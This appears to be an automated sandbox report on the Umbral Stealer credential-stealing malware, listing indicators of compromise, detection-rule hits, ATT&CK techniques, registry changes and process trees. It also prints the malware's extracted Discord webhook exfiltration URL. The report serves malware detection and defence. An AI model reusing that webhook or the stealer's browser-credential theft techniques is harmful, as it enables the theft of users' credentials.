umbral | hxxps://github[.]com/Blank-c/Umbral-Stealer

Resubmissions

28-04-2024 10:07

240428-l52hssde21 10

28-04-2024 10:07

240428-l5nlyade2t 1

28-04-2024 09:45

240428-lq7fhadb5t 7

Analysis

max time kernel
223s
max time network
234s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
28-04-2024 10:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/Blank-c/Umbral-Stealer

Score

10^/10

umbral agilenet spyware stealer

Malware Config

Extracted

Family

umbral

https://www.discord.com/api/webhooks/1223320157972332705/nOvJjF9hRSjecUTLGgLxqqWMB89V8brmaN56EMwZ1dLtayUijDG-AXAPiYwm1Fn14xbw

Signatures

Detect Umbral payload 3 IoCs

resource	yara_rule
behavioral1/files/0x00070000000234b1-374.dat	family_umbral
behavioral1/files/0x000a0000000234e6-384.dat	family_umbral
behavioral1/memory/1452-386-0x00000271B1390000-0x00000271B13D0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Executes dropped EXE 2 IoCs

pid	Process
2044	Umbral.builder.exe
1452	Umbral.exe

Obfuscated with Agile.Net obfuscator 16 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral1/files/0x00070000000234b6-288.dat	agile_net
behavioral1/memory/2044-289-0x00000198B59C0000-0x00000198B59E0000-memory.dmp	agile_net
behavioral1/files/0x00070000000234cf-290.dat	agile_net
behavioral1/memory/2044-291-0x00000198B59E0000-0x00000198B5A00000-memory.dmp	agile_net
behavioral1/files/0x00070000000234c2-292.dat	agile_net
behavioral1/memory/2044-293-0x00000198B5D10000-0x00000198B5D7E000-memory.dmp	agile_net
behavioral1/files/0x00070000000234b9-294.dat	agile_net
behavioral1/files/0x00070000000234b5-296.dat	agile_net
behavioral1/memory/2044-295-0x00000198B59A0000-0x00000198B59AE000-memory.dmp	agile_net
behavioral1/memory/2044-297-0x00000198B5D80000-0x00000198B5DDA000-memory.dmp	agile_net
behavioral1/files/0x00070000000234cb-298.dat	agile_net
behavioral1/memory/2044-299-0x00000198B5A00000-0x00000198B5A10000-memory.dmp	agile_net
behavioral1/files/0x00070000000234b7-300.dat	agile_net
behavioral1/memory/2044-301-0x00000198B5A30000-0x00000198B5A4E000-memory.dmp	agile_net
behavioral1/files/0x00070000000234b4-302.dat	agile_net
behavioral1/memory/2044-303-0x00000198B5F30000-0x00000198B607A000-memory.dmp	agile_net

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
97	discord.com
98	discord.com
24	camo.githubusercontent.com
25	camo.githubusercontent.com
81	discord.com
82	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
87	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2908	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 27 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	Umbral.builder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	Umbral.builder.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Umbral.builder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	Umbral.builder.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Umbral.builder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Umbral.builder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Umbral.builder.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3	Umbral.builder.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings	Umbral.builder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	Umbral.builder.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg	Umbral.builder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	Umbral.builder.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	Umbral.builder.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Umbral.builder.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	Umbral.builder.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Umbral.builder.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Umbral.builder.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	Umbral.builder.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	Umbral.builder.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	Umbral.builder.exe
Key created	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\0	Umbral.builder.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell\SniffedFolderType = "Generic"	Umbral.builder.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Umbral.builder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	Umbral.builder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	Umbral.builder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	Umbral.builder.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-540404634-651139247-2967210625-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	Umbral.builder.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4608	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4820	msedge.exe
4820	msedge.exe
4152	msedge.exe
4152	msedge.exe
4168	identity_helper.exe
4168	identity_helper.exe
4688	msedge.exe
4688	msedge.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe
2044	Umbral.builder.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	4340	7zG.exe
Token: 35	4340	7zG.exe
Token: SeSecurityPrivilege	4340	7zG.exe
Token: SeSecurityPrivilege	4340	7zG.exe
Token: SeDebugPrivilege	2044	Umbral.builder.exe
Token: SeDebugPrivilege	1452	Umbral.exe
Token: SeIncreaseQuotaPrivilege	4496	wmic.exe
Token: SeSecurityPrivilege	4496	wmic.exe
Token: SeTakeOwnershipPrivilege	4496	wmic.exe
Token: SeLoadDriverPrivilege	4496	wmic.exe
Token: SeSystemProfilePrivilege	4496	wmic.exe
Token: SeSystemtimePrivilege	4496	wmic.exe
Token: SeProfSingleProcessPrivilege	4496	wmic.exe
Token: SeIncBasePriorityPrivilege	4496	wmic.exe
Token: SeCreatePagefilePrivilege	4496	wmic.exe
Token: SeBackupPrivilege	4496	wmic.exe
Token: SeRestorePrivilege	4496	wmic.exe
Token: SeShutdownPrivilege	4496	wmic.exe
Token: SeDebugPrivilege	4496	wmic.exe
Token: SeSystemEnvironmentPrivilege	4496	wmic.exe
Token: SeRemoteShutdownPrivilege	4496	wmic.exe
Token: SeUndockPrivilege	4496	wmic.exe
Token: SeManageVolumePrivilege	4496	wmic.exe
Token: 33	4496	wmic.exe
Token: 34	4496	wmic.exe
Token: 35	4496	wmic.exe
Token: 36	4496	wmic.exe
Token: SeIncreaseQuotaPrivilege	4496	wmic.exe
Token: SeSecurityPrivilege	4496	wmic.exe
Token: SeTakeOwnershipPrivilege	4496	wmic.exe
Token: SeLoadDriverPrivilege	4496	wmic.exe
Token: SeSystemProfilePrivilege	4496	wmic.exe
Token: SeSystemtimePrivilege	4496	wmic.exe
Token: SeProfSingleProcessPrivilege	4496	wmic.exe
Token: SeIncBasePriorityPrivilege	4496	wmic.exe
Token: SeCreatePagefilePrivilege	4496	wmic.exe
Token: SeBackupPrivilege	4496	wmic.exe
Token: SeRestorePrivilege	4496	wmic.exe
Token: SeShutdownPrivilege	4496	wmic.exe
Token: SeDebugPrivilege	4496	wmic.exe
Token: SeSystemEnvironmentPrivilege	4496	wmic.exe
Token: SeRemoteShutdownPrivilege	4496	wmic.exe
Token: SeUndockPrivilege	4496	wmic.exe
Token: SeManageVolumePrivilege	4496	wmic.exe
Token: 33	4496	wmic.exe
Token: 34	4496	wmic.exe
Token: 35	4496	wmic.exe
Token: 36	4496	wmic.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeDebugPrivilege	3424	powershell.exe
Token: SeIncreaseQuotaPrivilege	2276	wmic.exe
Token: SeSecurityPrivilege	2276	wmic.exe
Token: SeTakeOwnershipPrivilege	2276	wmic.exe
Token: SeLoadDriverPrivilege	2276	wmic.exe
Token: SeSystemProfilePrivilege	2276	wmic.exe
Token: SeSystemtimePrivilege	2276	wmic.exe
Token: SeProfSingleProcessPrivilege	2276	wmic.exe
Token: SeIncBasePriorityPrivilege	2276	wmic.exe
Token: SeCreatePagefilePrivilege	2276	wmic.exe
Token: SeBackupPrivilege	2276	wmic.exe
Token: SeRestorePrivilege	2276	wmic.exe
Token: SeShutdownPrivilege	2276	wmic.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4340	7zG.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe
4152	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2044	Umbral.builder.exe
2044	Umbral.builder.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4152 wrote to memory of 2548	4152	msedge.exe	83
PID 4152 wrote to memory of 2548	4152	msedge.exe	83
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4108	4152	msedge.exe	84
PID 4152 wrote to memory of 4820	4152	msedge.exe	85
PID 4152 wrote to memory of 4820	4152	msedge.exe	85
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86
PID 4152 wrote to memory of 4812	4152	msedge.exe	86

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4424	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/Blank-c/Umbral-Stealer
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc643246f8,0x7ffc64324708,0x7ffc64324718
  2⤵
  PID:2548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2064 /prefetch:2
  2⤵
  PID:4108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4820
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2936 /prefetch:8
  2⤵
  PID:4812
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
  2⤵
  PID:4452
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:1
  2⤵
  PID:3636
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4128 /prefetch:8
  2⤵
  PID:4924
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4128 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5472 /prefetch:8
  2⤵
  PID:3908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5364 /prefetch:1
  2⤵
  PID:5072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5796 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5980 /prefetch:1
  2⤵
  PID:928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5972 /prefetch:1
  2⤵
  PID:4908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2852 /prefetch:1
  2⤵
  PID:3828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1768 /prefetch:1
  2⤵
  PID:652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2052,6953927481525119388,5001399370898039693,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1708 /prefetch:2
  2⤵
  PID:4136

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3032

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3964

C:\Windows\System32\rundll32.exe
